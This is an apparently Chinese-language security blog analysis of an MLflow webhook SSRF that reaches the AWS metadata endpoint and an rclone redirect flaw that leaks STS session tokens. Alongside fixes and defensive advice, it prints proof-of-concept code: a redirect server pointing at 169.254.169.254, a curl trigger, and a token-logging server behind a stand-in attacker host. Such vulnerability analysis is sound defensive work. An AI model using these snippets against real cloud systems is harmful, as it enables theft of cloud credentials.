Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

AI/ML 基础设施攻击面:MLflow CVE-2026-64849 SSRF 与 rclone CVE-2026-79782 S3 凭证泄露深度分析

2026 年 8 月是 AI/ML 开源基础设施的“安全月”。MLflow 与 rclone 两个看似无关的项目相继曝出严重漏洞,且均已被 CISA Known Exploited Vulnerabilities(KEV)目录收录:

  • CVE-2026-64849:MLflow webhook 投递层的 TOCTOU SSRF,可导致 AWS IAM 凭证泄露。
  • CVE-2026-79782:rclone 在处理 S3 HTTP → HTTPS 重定向时未剥离 X-Amz-Security-Token,导致 AWS STS 临时凭证明文泄露。

这两个漏洞的共同点是:都发生在“云 + AI/数据搬运”场景的边界上,都利用了 HTTP 重定向/回调这一常见但容易被忽视的攻击面。本文分别拆解其原理、给出可复现的最小代码,并总结修复与防御方案。

一、CVE-2026-64849:MLflow webhook 层的 TOCTOU SSRF

1.1 漏洞背景

MLflow 的 webhook 功能允许用户注册一个 URL,当 experiment run 发生状态变化时,MLflow server 会向该 URL 发送 HTTP 请求。这个功能在 MLOps 流水线中非常常见:训练完成触发模型注册、部署通知等。

问题出在 webhook 投递层对 redirect 的处理上。攻击者注册一个 webhook URL,该 URL 先返回 302,指向一个内部地址(如 AWS IMDS http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name)。MLflow server 在第一次请求时检查目标是否允许,但在 follow redirect 时发生了 TOCTOU(Time-of-Check to Time-of-Use):检查时刻的目标与真正访问的目标不一致。

1.2 根因分析

简化后的漏洞逻辑如下:

python
import requests

# 模拟 MLflow 旧版 webhook 投递逻辑(存在漏洞)
def deliver_webhook_vulnerable(url: str):
    # 1. 检查时目标看起来是外网
    parsed = urlparse(url)
    if parsed.hostname in BLOCKED_HOSTS:  # BLOCKED_HOSTS 包含 169.254.169.254
        raise ValueError("blocked host")

    # 2. 实际请求时允许重定向
    resp = requests.get(url, allow_redirects=True, timeout=5)
    return resp.text

攻击者构造的请求:

POST /api/2.0/mlflow/webhooks/create
{
  "url": "https://attacker.example.com/redirect"
}

https://attacker.example.com/redirect 返回:

http
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role

由于 requests 默认会 follow redirect,MLflow server 实际访问的是 AWS IMDS,从而把 IAM 凭证作为 webhook 响应内容返回给攻击者(或通过回调侧信道外带)。

1.3 最小复现示例

下面的脚本模拟了一个 vulnerable webhook handler:

python
# vuln_webhook.py
import urllib.parse
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests

BLOCKED_HOSTS = {"localhost", "127.0.0.1", "169.254.169.254"}

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode()
        url = urllib.parse.parse_qs(body).get("url", [""])[0]

        # 检查阶段:只检查原始 URL
        host = urllib.parse.urlparse(url).hostname
        if host in BLOCKED_HOSTS:
            self.send_response(403)
            self.end_headers()
            self.wfile.write(b"blocked")
            return

        # 使用阶段:允许重定向
        try:
            r = requests.post(url, allow_redirects=True, timeout=5)
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"status={r.status_code}, len={len(r.text)}".encode())
        except Exception as e:
            self.send_response(500)
            self.end_headers()
            self.wfile.write(str(e).encode())

if __name__ == "__main__":
    HTTPServer(("0.0.0.0", 8080), Handler).serve_forever()

攻击者本地启动一个 redirect server:

python
# redirect_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/latest/meta-data/")
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("0.0.0.0", 9000), RedirectHandler).serve_forever()

然后请求:

bash
curl -X POST http://localhost:8080 -d "url=http://localhost:9000/callback"

如果目标环境是 AWS EC2,就会触发 IMDS 访问。

1.4 修复版本与方案

MLflow 在 3.15.0 中修复了该漏洞。修复方案包括:

  1. 禁用重定向:webhook 投递不允许 3xx 响应,直接视为失败。
  2. 重定向后二次校验:如果必须支持重定向,对最终目标再次执行 host 黑名单检查。
  3. DNS rebinding 防护:使用解析后 IP 校验,并对 TTL 与重解析做限制。
python
# 安全版本:follow redirect 后再次检查
import requests
from urllib.parse import urlparse

BLOCKED_HOSTS = {"169.254.169.254", "localhost", "127.0.0.1"}

def is_blocked(url: str) -> bool:
    host = urlparse(url).hostname
    return host in BLOCKED_HOSTS

def deliver_webhook_safe(url: str):
    if is_blocked(url):
        raise ValueError("blocked")

    session = requests.Session()
    # 自定义重定向钩子,每跳都校验
    response = session.get(url, allow_redirects=False, timeout=5)
    while 300 <= response.status_code < 400:
        next_url = response.headers["Location"]
        if is_blocked(next_url):
            raise ValueError("redirect to blocked host")
        response = session.get(next_url, allow_redirects=False, timeout=5)
    return response

二、CVE-2026-79782:rclone S3 重定向导致 STS 凭证泄露

2.1 漏洞背景

rclone 是云存储同步的事实标准工具,支持 S3、Google Drive、OneDrive 等数十种后端。在 S3 模式下,rclone 使用 AWS Signature Version 4 签名请求,并通过 X-Amz-Security-Token 头发送 STS 临时凭证。

当 S3 endpoint 返回 301/302,把请求从 HTTPS 重定向到 HTTP 时,rclone 没有把 X-Amz-Security-Token 从请求头中剥离。结果就是:STS 临时凭证被以明文形式发送到了 HTTP endpoint,任何能监听该流量的中间人都能获取。

2.2 CVSS 评分争议

该漏洞的 CVSS 3.1 评分为 3.1 Low,但 CVSS 4.0 评分为 9.3 Critical。差异主要来自:

  • CVSS 3.1 认为需要中间人且影响“部分机密性”。
  • CVSS 4.0 更看重“暴露云凭证可直接横向移动 + 供应链工具被广泛集成”的实际影响。

无论评分如何,对于把 rclone 作为数据搬运、备份、AI 训练数据集同步工具的团队来说,这都是一个必须立即修复的漏洞。

2.3 根因演示

下面的 Python 脚本模拟一个恶意的 HTTP endpoint,记录收到的 X-Amz-Security-Token

python
# malicious_http_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        token = self.headers.get("X-Amz-Security-Token", "<missing>")
        print(f"[LEAK] path={self.path} token={token[:80]}...")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

if __name__ == "__main__":
    HTTPServer(("0.0.0.0", 8080), LeakHandler).serve_forever()

在旧版 rclone 中,如果 S3 endpoint 返回:

http
HTTP/1.1 302 Found
Location: http://attacker-controlled.example.com/bucket/key

rclone 会带着签过名的请求头(包括 X-Amz-Security-Token)访问 HTTP endpoint,恶意 server 即可记录完整 STS 凭证。

2.4 修复版本与方案

rclone 在 1.74.4 中修复了该漏洞。修复逻辑为:

  • 当重定向目标 scheme 从 https 降级为 http 时,自动剥离所有 AWS 安全敏感头,包括:
    • Authorization
    • X-Amz-Security-Token
    • X-Amz-Signature
    • X-Amz-Credential
    • X-Amz-Date
  • 同时发出安全警告,提醒用户存在不安全的降级行为。

防御建议:

  1. 立即升级到 rclone 1.74.4+
  2. 在 AWS IAM 策略中给 STS 临时凭证设置尽可能短的 DurationSeconds
  3. 对 S3 流量启用 TLS 校验,拒绝任何 HTTP 回退。
  4. 监控 CloudTrail 中异常的 STS 使用来源 IP。

三、两个漏洞的共性与防御总结

text
文字版架构图:AI/ML 基础设施攻击面

        ┌─────────────────────────────────────────────┐
        │            外部用户 / 攻击者                 │
        └────────────────┬────────────────────────────┘
                         │ 注册 webhook / 构造重定向

        ┌─────────────────────────────────────────────┐
        │  MLflow Server (3.15.0 以下)                  │
        │  webhook 层: TOCTOU SSRF                     │
        │  攻击结果: 访问 AWS IMDS 169.254.169.254     │
        └────────────────┬────────────────────────────┘
                         │ 窃取 IAM Role 凭证

        ┌─────────────────────────────────────────────┐
        │  rclone Client (1.74.4 以下)                  │
        │  S3 HTTP 降级重定向: 未剥离 X-Amz-Security-Token │
        │  攻击结果: STS 临时凭证明文泄露                │
        └────────────────┬────────────────────────────┘
                         │ 横向移动至 AWS 账户

        ┌─────────────────────────────────────────────┐
        │            数据湖 / S3 / AI 训练集群          │
        └─────────────────────────────────────────────┘

两个漏洞的共同点:

维度CVE-2026-64849CVE-2026-79782
攻击面webhook redirectS3 HTTP 降级重定向
根因TOCTOU:检查时与使用时目标不一致降级未剥离敏感 header
泄露目标AWS IMDS IAM 凭证AWS STS 临时凭证
修复版本MLflow 3.15.0rclone 1.74.4
收录CISA KEVCISA KEV

四、对 MLOps 团队的落地建议

  1. 建立 AI 基础设施 SBOM:列出所有运行 MLflow、Airflow、KubeFlow、rclone、Ray 的版本。
  2. 禁止 webhook 访问内网地址:通过 NetworkPolicy / 安全组限制 MLflow server 只能访问白名单 endpoint。
  3. 升级 rclone 并开启 TLS 严格模式:在 rclone 配置中设置 --s3-use-fips--s3-force-path-style=false(根据实际架构)。
  4. 云实例禁用 IMDSv1:强制使用 IMDSv2,增加 SSRF 利用难度。
  5. 监控异常:对访问 169.254.169.254、STS AssumeRole 来源 IP 变化、S3 HTTP 流量等建立告警。

五、总结

CVE-2026-64849 和 CVE-2026-79782 不是孤立的安全新闻,而是 AI/ML 基础设施与公有云权限模型耦合后的必然结果。当 ML 平台、数据同步工具、云元数据服务、STS 临时凭证组合在一起时,任何一个 HTTP 重定向处理不当都可能变成完整的账户接管链。MLOps 团队需要把这两个 CVE 纳入 8 月紧急修复清单,并借机重新审视 AI 基础设施的网络隔离与凭证生命周期管理。

参考资料

上次更新于: